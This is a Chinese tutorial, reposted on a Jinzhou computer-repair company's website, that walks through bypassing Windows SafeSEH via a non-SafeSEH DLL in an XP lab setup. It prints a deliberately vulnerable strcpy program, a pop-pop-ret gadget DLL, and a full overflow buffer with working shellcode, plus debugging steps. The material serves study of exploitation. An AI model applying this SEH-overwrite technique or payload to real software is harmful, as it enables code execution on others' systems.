锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
突破SafeSEH机制之二——利用未启用SafeSEH模块绕过SafeSEH

作者: 筠溪  日期:2017-08-03 15:23:39   来源: 本站整理


敲黑板敲黑板~~今天我们继续~
上次讲到SafeSEH的突破,介绍了一个简单的利用堆绕过SafeSEH突破SafeSEH机制之一——利用堆绕过SafeSEH
本篇总共遇到了3个问题还没有解决,有没有大神帮我解答一下,我都把问题背景给标黄了。
突破思路:
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(本次要调试的)
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中(放弃)

可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、由于SafeSEH表加密,对于新手的我暂时不考虑了。

今天我们一起调试第2种,加载模块未启用SafeSEH,啥意思?
简单来说,就是... 知道LoadLibrary吧,知道dll吧?系统会在程序运行的时候提供各种各样的模块供程序加载调用(kernel32.dll,user32.dll等),

这些程序加载的模块由于某种原因没有启用SafeSEH,这样就可以为我们所用!一般来说,这些系统提供的dll都会有启用SafeSEH,为了本次实验,

我们自己制作一个没有启用SafeSEH的dll。

第一步 编写一个包含异常处理的漏洞程序
环境:
XP SP3
VS 2008
禁止优化选项(C/C++------optimization:disable)
Release版本编译
关闭DEP(还是那个问题,我在vs2008里并没有关闭DEP(截图在上一个帖子),可是执行结果却没有影响,有没有遇到相同问题的同学??)


代码:

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
char shellcode[]=
"\x90\x90\x90\x90... ..."
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}


现将shellcode用90来进行填充,从代码我们可以看出,通过向str进行超长字符串溢出,覆盖SEH链,劫持异常程序处理流程。
那么我们将程序劫持到哪里呢?shellcode?恐怕不行,因为在进行有效性检查之前,会查看这个地址,如果这个指针指向栈,就会直接终止调用。
所以,我们必须将程序劫持到一个栈外的地址,并且没有SafeSEH表的模块中,执行这个模块的某一个指令(一般是跳板指令),再跳回到shellcode执行。完美~

第二步 找地址!
找什么地址?
shellcode字符串在栈中的首地址A
需要溢出的异常处理函数指针位置,也就是溢出点B
根据B-A+4确定(溢出点上半部分的)shellcode的大小(划重点,划重点了!!!)
为什么说,这次B-A+4不是shellcode 的大小?因为shellcode的布置不再是shellcode+若干90+覆盖地址
因为覆盖的指针不能直接跳往shellcode啊,所以我们得用一个栈外地址、并且没有SafeSEH的模块中的跳转指令跳到shellcode,这样的话shellcode的布置就不再

像以往那么简单,就想到jmp esp这种类似的跳转指令了,

考虑用pop pop ret之类的指令,后面调试的时候告诉你为什么。
shellcode布置200个90,调试:
 
还是直接运行到strcpy后面,搜索9090,记下shellcode首地址A:0x0012FE84


拉到栈下面,就是200个字节覆盖的尽头~查看还有多远才能覆盖到SEH:
 
得到B地址 溢出点地址:0x0012FF60
B-A=220字节

第三步 布置shellcode
我们遇到了无法直接跳往shellcode的情况,考虑跳板指令,用跳板指令,一般shellcode就在覆盖地址的后面,要不就是jmp esp 或者ret
在调试的时候,我们发现在test函数刚进入的时候,会在Security cookie+4的地方压入一个-2,在准备出try{}的时候,又把这个值改动成0。原理我也不

太清楚,只要我们知道,这里有一个值,他是在溢出点B下方(+8的高地址)
 
这就出现问题了,我们如果想把shellcode布置在溢出点后面,用跳板指令跳到接下来的地址,但是shellcode有可能被这样一个机制修改,导致shellcode被破坏,怎么办?
幸亏shellcode被破坏的地方不多,也是仅仅溢出点后面2个DWORD,所以这两个DWORD我们用无关的90填充,接下来再填充shellcode。

接下来就是跳转指令的选择了,怎么能在执行溢出点的异常处理函数后,再跳回来呢,这就需要我们的SafeSEH OFF的模块了
如果shellcode紧邻着溢出点B,我们可以直接找ret指令的函数,跳回来继续执行shellcode,由于用了两个DWORD填充shellcode前两个字节,所以考虑选择pop pop ret指令
shellcode布置如下:
220字节0x90||4字节pop pop ret地址||8字节0x90||168字节shellcode内容

好了,还剩最后一个问题了,跳板指令地址哪里来?我们自己构造一个dll,包含这个指令的。

第四步 制作SafeSEH OFF的DLL
环境:
XP SP3
VC 6.0(编译器不会启用SafeSEH)
链接选项:/base:"0x11120000"(这里是防止跳转指令地址出现0x00截断字符串,问题:如果跳转指令必须有00,怎么处理,大神快告诉我)

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
#include "stdafx.h"
 
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
        pop eax
        pop eax
        retn
        }
}

可以看出了,这个dll就包含了一个pop pop ret的内容

怎么验证这个dll没有开启SafeSEH呢?两种方法,一种是利用vs里面的工具,vs 2008 command prompt命令行工具,利用"dumpbin /loadconfig"+dll名称
另一个方法就是,用我们开头的程序,直接OD调试,待LoadLibrary后,有一个插件叫做SafeSEH能够直接查看加载的模块SafeSEH情况,还有一个插件叫ODFindaddr,里面有一个unprotected modules——without SafeSEH都能查看
 

接下来我们查找pop pop ret的地址,OD调试
 
直接搜索0x58 0x58 0xC3
问题:不知道为什么,没有找到pop eax,找到了pop ecx,pop ecx,ret
有同学遇到相同的问题了吗。
这里就能够确定这个跳转指令地址:0x111211B6

完善代码和shellcode:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220 bytes
"\xB6\x11\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
 
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}


运行~完美溢出... ... 等会,不对啊,咋没反应... ...
尴尬... ...同学们,我们调试一下看一下。
 
直接F9,看看错误发生在哪里,OD显示0x130000写入错误。
 
我们来计算一下,0x130000-0x12FE84=148<168.所以shellcode根本拷贝不完... ...栈空间不足

——————————————————————————手工割———————————————————————

上次调试发现栈空间不足,原来是因为main函数中,有一个str[200]的字符数组定义,用来提高栈顶,我们还将这个“没用的”str数组恢复。这样是不是就可以了?
更新shellcode首地址A:0x0012FDB8   溢出点B:0x0012FE94(其实算出来shellcode怎么填充的,这个怎么变都没用了)
 
一定要记下来这个覆盖的SEH结构地址0x0012FE90
前面我没有讲清楚这个跳转的流程,这个跳转稍微麻烦点,我们现在一点点来看,我尽量多截图
(1)pop pop ret
 
发生除0异常后,OD接管异常,我们按shift+F9,果然进入到我们覆盖的异常处理函数地址0x111211B6
这时我们观察栈顶,发现pop两次之后,就会return到之前覆盖的SEH头0x0012FE90,继续执行看看会发生什么
(2)ret之后的事情
 
现在终于来到了临近shellcode的地方,先是4个0x90,然后就是我们找到的0x111211B6跳板指令地址,接下来是8个字节的0x90,只不过后4个已经在try分支处理的时候被置为0了
本来这些无关紧要的数值被当成代码执行的时候,一般情况下是不会影响shellcode执行的,但是很不幸,我们就遇到了这种情况:
 
显然,这些变动的字节,对我们的shellcode造成了污染,直接影响了代码的正常执行,所以必须想办法,怎么办,那就跳过去吧
(3)jmp过去
位于0x0012FE90的4个90没用,我们想办法把这个4个字节改造一下,想办法直接跳到shellcode处
我们看到shellcode的地址距离当前有16个字节的长度,无条件转移指令jmp 16个字节就可以了,根据汇编指令,是\xEB\x0E
所以这个4个字节就成了"\xEB\x0E\x90\x90”
修改之后,我们再次调试程序到这里:
 
看见没,可以直接跳转到shellcode了!
再继续运行: 
 

本次调试实验到此结束。


热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等